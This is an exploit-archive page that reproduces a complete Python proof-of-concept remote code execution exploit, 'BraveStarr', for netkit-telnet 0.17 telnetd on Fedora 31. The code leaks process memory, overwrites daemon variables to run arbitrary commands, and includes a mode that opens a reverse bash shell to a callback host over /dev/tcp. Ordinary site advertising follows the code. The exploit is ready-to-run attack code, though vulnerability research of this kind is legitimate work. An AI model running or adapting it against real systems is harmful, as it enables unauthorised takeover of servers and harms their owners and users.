netkittelnet0.17 telnetd (fedora 31) bravestarr remote code execution

▸▸▸ Exploit & Vulnerability >>   remote exploit & linux vulnerability




netkittelnet0.17 telnetd (fedora 31) bravestarr remote code execution Code Code...
				
#!/usr/bin/env python3 # # BraveStarr # ========== # # Proof of Concept remote exploit against Fedora 31 netkit-telnet-0.17 telnetd. # # This is for demonstration purposes only. It has by no means been engineered # to be reliable: 0xff bytes in addresses and inputs are not handled, and a lot # of other constraints are not validated. # # AppGate (C) 2020 / Ronald Huizer / @ronaldhuizer # import argparse import base64 import fcntl import gzip import socket import struct import sys import termios import time class BraveStarr(object): SE = 240 # 0xf0 DM = 242 # 0xf2 AO = 245 # 0xf5 SB = 250 # 0xfa WILL = 251 # 0xfb WONT = 252 # 0xfc DO = 253 # 0xfd IAC = 255 # 0xff TELOPT_STATUS = 5 TELOPT_TTYPE = 24 TELOPT_NAWS = 31 TELOPT_TSPEED = 32 TELOPT_XDISPLOC = 35 TELOPT_ENVIRON = 39 TELQUAL_IS = 0 TELQUAL_SEND = 1 TELQUAL_INFO = 2 NETIBUF_SIZE = 8192 NETOBUF_SIZE = 8192 # Data segment offsets of interesting variables relative to `netibuf'. netibuf_deltas = { 'loginprg': -34952, 'state_rcsid': -34880, 'subpointer': -34816, 'ptyslavefd': -34488, 'environ': -33408, 'state': -33268, 'LastArgv': -26816, 'Argv': -26808, 'remote_host_name': -26752, 'pbackp': -9232, 'nbackp': 8192 } def __init__(self, host, port=23, timeout=5, callback_host=None): self.host = host self.port = port self.sd = None self.timeout = timeout self.leak_marker = b"MARKER|MARKER" self.addresses = {} self.values = {} if callback_host is not None: self.chost = bytes(callback_host, 'ascii') def fatal(self, msg): print(msg, file=sys.stderr) sys.exit(1) def connect(self): self.sd = socket.create_connection((self.host, self.port)) # Try to ensure the remote side will read a full 8191 bytes for # `netobuf_fill' to work properly. self.sd.setsockopt(socket.IPPROTO_TCP, socket.TCP_MAXSEG, 8191) def address_delta(self, name1, name2): return self.addresses[name1] - self.addresses[name2] def address_serialize(self, name): return struct.pack("<Q", self.addresses[name]) def ao(self): return b"%c%c" % (self.IAC, self.AO) def do(self, cmd): return b"%c%c%c" % (self.IAC, self.DO, cmd) def sb(self): return b"%c%c" % (self.IAC, self.SB) def se(self): return b"%c%c" % (self.IAC, self.SE) def will(self, cmd): return b"%c%c%c" % (self.IAC, self.WILL, cmd) def wont(self, cmd): return b"%c%c%c" % (self.IAC, self.WONT, cmd) def tx_flush(self): while self.tx_len() != 0: time.sleep(0.2) def tx_len(self): data = fcntl.ioctl(self.sd, termios.TIOCOUTQ, " ") return struct.unpack('i', data)[0] def netobuf_fill(self, delta): # This populates the prefix of `netobuf' with IAC WONT SB triplets. # This is not relevant now, but during the next time data is sent and # `netobuf' will be reprocessed in `netclear' will calls `nextitem'. # The `nextitem' function will overindex past `nfrontp' and use these # triplets in the processing logic. s = self.do(self.SB) * delta # IAC AO will cause netkit-telnetd to add IAC DM to `netobuf' and set # `neturg' to the DM byte in `netobuf'. s += self.ao() # In this request, every byte in `netibuf' will store a byte in # `netobuf'. Here we ensure that all `netobuf' space is filled except # for the last byte. s += self.ao() * (3 - (self.NETOBUF_SIZE - len(s) - 1) % 3) # We fill `netobuf' with the IAC DO IAC pattern. The last IAC DO IAC # triplet will write IAC to the last free byte of `netobuf'. After # this `netflush' will be called, and the DO IAC bytes will be written # to the beginning of the now empty `netobuf'. s += self.do(self.IAC) * ((self.NETOBUF_SIZE - len(s)) // 3) # Send it out. This should be read in a single read(..., 8191) call on # the remote side. We should probably tune the TCP MSS for this. self.sd.sendall(s) # We need to ensure this is written to the remote now. This is a bit # of a kludge, as the remote can perfectly well still merge the # separate packets into a single read(). This is less likely as the # time delay increases. To do this properly we'd need to statefully # match the responses to what we send. Alack, this is a PoC. self.tx_flush() def reset_and_sync(self): # After triggering the bug, we want to ensure that nbackp = nfrontp = # netobuf We can do so by getting netflush() called, and an easy way to # accomplish this is using the TELOPT_STATUS suboption, which will end # with a netflush. self.telopt_status() # We resynchronize on the output we receive by loosely scanning if the # TELOPT_STATUS option is there. This is not a reliable way to do # things. Alack, this is a PoC. s = b"" status = b"%s%c" % (self.sb(), self.TELOPT_STATUS) while status not in s and not s.endswith(self.se()): s += self.sd.recv(self.NETOBUF_SIZE) def telopt_status(self, mode=None): if mode is None: mode = self.TELQUAL_SEND s = b"%s%c%c%s" % (self.sb(), self.TELOPT_STATUS, mode, self.se()) self.sd.sendall(self.do(self.TELOPT_STATUS)) self.sd.sendall(s) def trigger(self, delta, prefix=b"", suffix=b""): assert b"\xff" not in prefix assert b"\xff" not in suffix s = prefix # Add a literal b"\xff\xf0" to `netibuf'. This will terminate the # `nextitem' scanning for IAC SB sequences. s += self.se() s += self.do(self.IAC) * delta # IAC AO will force a call to `netclear'. s += self.ao() s += suffix self.sd.sendall(s) def infoleak(self): # We use a delta that creates a SB/SE item delta = 512 self.netobuf_fill(delta) self.trigger(delta, self.leak_marker) s = b"" self.sd.settimeout(self.timeout) while self.leak_marker not in s: try: ret = self.sd.recv(8192) except socket.timeout: self.fatal('infoleak unsuccessful.') if ret == b"": self.fatal('infoleak unsuccessful.') s += ret return s def infoleak_analyze(self, s): m = s.rindex(self.leak_marker) s = s[:m-20] # Cut 20 bytes of padding off too. # Layout will depend on build. This works on Fedora 31. self.values['net'] = struct.unpack("<I", s[-4:])[0] self.values['neturg'] = struct.unpack("<Q", s[-12:-4])[0] self.values['pfrontp'] = struct.unpack("<Q", s[-20:-12])[0] self.values['netip'] = struct.unpack("<Q", s[-28:-20])[0] # Resolve Fedora 31 specific addresses. self.addresses['netibuf'] = (self.values['netip'] & ~4095) + 0x980 adjustment = len(max(self.netibuf_deltas, key=len)) for k, v in self.netibuf_deltas.items(): self.addresses[k] = self.addresses['netibuf'] + v def _scratch_build(self, cmd, argv, envp): # We use `state_rcsid' as the scratch memory area. As this area is # fairly small, the bytes after it on the data segment will likely # also be used. Nothing harmful is contained here for a while, so # this is okay. scratchpad = self.addresses['state_rcsid'] exec_stub = b"/bin/bash" rcsid = b"" data_offset = (len(argv) + len(envp) + 2) * 8 # First we populate all argv pointers into the scratchpad. argv_address = scratchpad for arg in argv: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(arg) + 1 rcsid += struct.pack("<Q", 0) # Next we populate all envp pointers into the scratchpad. envp_address = scratchpad + len(rcsid) for env in envp: rcsid += struct.pack("<Q", scratchpad + data_offset) data_offset += len(env) + 1 rcsid += struct.pack("<Q", 0) # Now handle the argv strings. for arg in argv: rcsid += arg + b'\0' # And the environment strings. for env in envp: rcsid += env + b'\0' # Finally the execution stub command is stored here. stub_address = scratchpad + len(rcsid) rcsid += exec_stub + b"\0" return (rcsid, argv_address, envp_address, stub_address) def _fill_area(self, name1, name2, d): return b"\0" * (self.address_delta(name1, name2) - d) def exploit(self, cmd): env_user = b"USER=" + cmd rcsid, argv, envp, stub = self._scratch_build(cmd, [b"bravestarr"], [env_user]) # The initial exploitation vector: this overwrite the area after # `netobuf' with updated pointers values to overwrite `loginprg' v = struct.pack("<Q", self.addresses['netibuf']) # netip v += struct.pack("<Q", self.addresses['loginprg']) # pfrontp v += struct.pack("<Q", 0) # neturg v += struct.pack("<I", self.values['net']) # net v = v.ljust(48, b'\0') # padding self.netobuf_fill(len(v)) self.trigger(len(v), v + struct.pack('<Q', stub), b"A" * 8) self.reset_and_sync() s = b"" s += self._fill_area('state_rcsid', 'loginprg', 8) s += rcsid s += self._fill_area('ptyslavefd', 'state_rcsid', len(rcsid)) s += struct.pack("<I", 5) s += self._fill_area('environ', 'ptyslavefd', 4) s += struct.pack("<Q", envp) s += self._fill_area('LastArgv', 'environ', 8) s += struct.pack("<Q", argv) * 2 s += self._fill_area('remote_host_name', 'LastArgv', 16) s += b"-c\0" self.sd.sendall(s) self.tx_flush() # We need to finish `getterminaltype' in telnetd and ensure `startslave' is # called. self.sd.sendall(self.wont(self.TELOPT_TTYPE)) self.sd.sendall(self.wont(self.TELOPT_TSPEED)) self.sd.sendall(self.wont(self.TELOPT_XDISPLOC)) self.sd.sendall(self.wont(self.TELOPT_ENVIRON)) banner = """ H4sICBThWF4CA2JsYQC1W0ly4zAMvPsLuegJ4i5VnjJv0P+vU44TRwTBbsBy5jBVikRiaywE6GX5 s3+3+38f/9bj41/ePstnLMfz3f3PbP1kqW3xN32xx/kxxe55246Rbum/+dkCcKnx5mPi9BjSfTPJ pPwAva8VCmBg3qzQgdYaD0FD/US+J/rvITC+PP+lnkQCQOyoL4oMDhFUpM5F0Fee7UCUHlYEoAf/ 4Puw7t2zasMOcD2BAvFbomqkh3h2rxCvi+Ap5hnG53s8vB1sKj0JCzriRIrQ85jisSw+PY6hyrw8 SDfC+g3toCYyqKenmA4VBrY4WC681Uif/OtGAnTIxwTBkxD8WEF3nEVfsDCP+5yedwvjzKx71nnt 0BGJvDlTvnsDNSUOIgv+arD/c0GwkPqKaZIaUVxKDlM+Q8Pmsb8OSsF6FFYM64plS0XZAIYESSJm icYGkRMVoC2Mh8T3UOKUriTGUBhg2siCJgyZhZIz9ldqgnE53p6QHwlQhpuoxuiGOK1kup6I9A6Y ZlHvsA1iVYWwHSlUiaXQDSbfpOjAwN/MRTamLwLywQSBuEnZIEPMwnU9nAY/FnvSrOtrPolJDjyl zRMJNBG75yCeN/x9ViNt5wTBHakABFmkrSukxqL+jFvdI7MTX5l7n0s3UrjeWwp1x4DwOvFOXAuM 6IyGuG4hqy0ByqDCp6hsIlRQNpcB6qr4ave8C4MFuWDDJijOeCVKsbKxYELrmDgmoUuY/hHh6WCe 2FdJFUPzrSXgYyxKp2Hyy4yW8gsxgFRGqhr0Nc6A9lzmwIxUeuXLmc8g4SW+Vpq/XCVMocGJHixk kbha4l3fRXAcG9WzkS+I7DQDn+XZ8MmEBojsdJC8XaovVH15zkqWJLEYeobZG9sj7nIZgiVEfsB+ l7Kr7JRlZTtcdUTIyVdMezN5oamjHZPessEpI5yCONsYqJ0lP2hK/csrOJQyi1GRvqPPF1+OqCbB /5DL2fKhoUUsGH2kYZRLUGWsS3mSk6nPoDYeNZLhFEpTIiwJDaYaCnGYw3/i5c3Y6obkZx1z1Kim 3e4Yvc10wyTAPcn63hf1z2c6A63tGJOu2B7sCvbhUWcoQwIp3NLB2/CDdYX1Q8MOOsHQM2HfgIgi 1H4NP9H086s3hz7AGv362oRkRIONaA3eoW7h0kSzzFSFNkbxBzLS9pro8AMJQambmJQNuyKkDXIu cEJOyyapKc8UQOUGMNOEL1U5ApEDqnp4Ly/QkCanBDasIXBl3ZeHRkbDvTEZvbImDCk4Zr2AhXYM NNZwZzvj48YgkH5GGVoLmfNGqGIlu2bhxVmNjZ0DRzdfFo+DqyYyma3kfEV6WymzQbbMuJLikOej peaYYdpu5l+UGAas3/Npxz97HUaPuLh4KsWHgCivEkn6gbbCE6QY9oIRX5jAZBgUZphTb2O+aDOs ddnFkPMp5vRSBfoZC9tJqCnUazDZyQRutd1mmtyJfY/rlM3XldWqezpXdDlnYQcMZ0MqsNwzva96 e1nJAU/nh4s2qzPByQNHcKaw3dXuqNUx/q7kElF2shosB/Dr1nMNLoNvcpFhVBGvy364elss1JeE mQtDebG7+r/tyljmXBlfsh/t+OIgp4ymcFDjUZL1SNCkw5s5hly5MvrRnZo0TF4zmqOeUy4obBX3 N/i0CGV+0k6SJ2SG+uFHBcPYI66H/bcUt9cdY/KKJmXS1IvBcMTQtLq8cg3sgkLUG+omTBLIRF8i k/gVorFb728qz/2e2FyRikg5j93vkct9S8/wo7A/YCVl28Fg+RvO7J1Fw6+73sqJ7Td6L1Oz/vrw r/a+S/cfKpbzJTo5AAA= """ parser = argparse.ArgumentParser(description="BraveStarr -- Remote Fedora 31 telnetd exploit") parser.add_argument('-H', '--hostname', dest='hostname', required=True, help='Target IP address or hostname') parser.add_argument('-p', '--port', dest='port', type=int, default=23, help='port number') parser.add_argument('-t', '--timeout', dest='timeout', type=int, default=10, help='socket timeout') method_parser = parser.add_subparsers(dest='method', help='Exploitation method') method_parser.required = True method_infoleak_parser = method_parser.add_parser('leak', help='Leaks memory of the remote process') method_cmd_parser = method_parser.add_parser('command', help='Executes a blind command on the remote') method_cmd_parser.add_argument('command', help='Command to execute') method_shell_parser = method_parser.add_parser('shell', help='Spawns a shell on the remote and connects back') method_shell_parser.add_argument('-c', '--callback', dest='callback', required=True, help='Host to connect back a shell to') args = parser.parse_args() for line in gzip.decompress(base64.b64decode(banner)).split(b"\n"): sys.stdout.buffer.write(line + b"\n") sys.stdout.buffer.flush() time.sleep(0.1) t = BraveStarr(args.hostname, port=args.port, timeout=args.timeout, callback_host=getattr(args, 'callback', None)) print(f"\u26e4 Connecting to {args.hostname}:{args.port}") t.connect() # For the `shell' method, we set up a listening socket to receive the callback # shell on. if args.method == 'shell': sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sd.bind(('0.0.0.0', 12345)) sd.listen(1) s = t.infoleak() t.infoleak_analyze(s) print("\n\u26e4 Leaked variables") print(f" netip : {t.values['netip']:#016x}") print(f" pfrontp: {t.values['pfrontp']:#016x}") print(f" neturg : {t.values['neturg']:#016x}") print(f" net : {t.values['net']}") print("\n\u26e4 Resolved addresses") adjustment = len(max(t.netibuf_deltas, key=len)) for k, v in t.netibuf_deltas.items(): print(f" {k:<{adjustment}}: {t.addresses[k]:#016x}") if args.method == 'leak': sys.exit(0) t.reset_and_sync() if args.method == 'shell': t.exploit(b"/bin/bash -i >& /dev/tcp/%s/12345 0>&1" % t.chost) print("\n\u26e4 Waiting for connect back shell") if args.method == 'shell': import telnetlib tclient = telnetlib.Telnet() tclient.sock = sd.accept()[0] tclient.interact() sd.close() elif args.method == 'command': print(f'\n\u26e4 Executing command "{args.command}"') t.exploit(bytes(args.command, 'ascii'))

Netkittelnet0.17 telnetd (fedora 31) bravestarr remote code execution Vulnerability / Exploit Source : Netkittelnet0.17 telnetd (fedora 31) bravestarr remote code execution



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.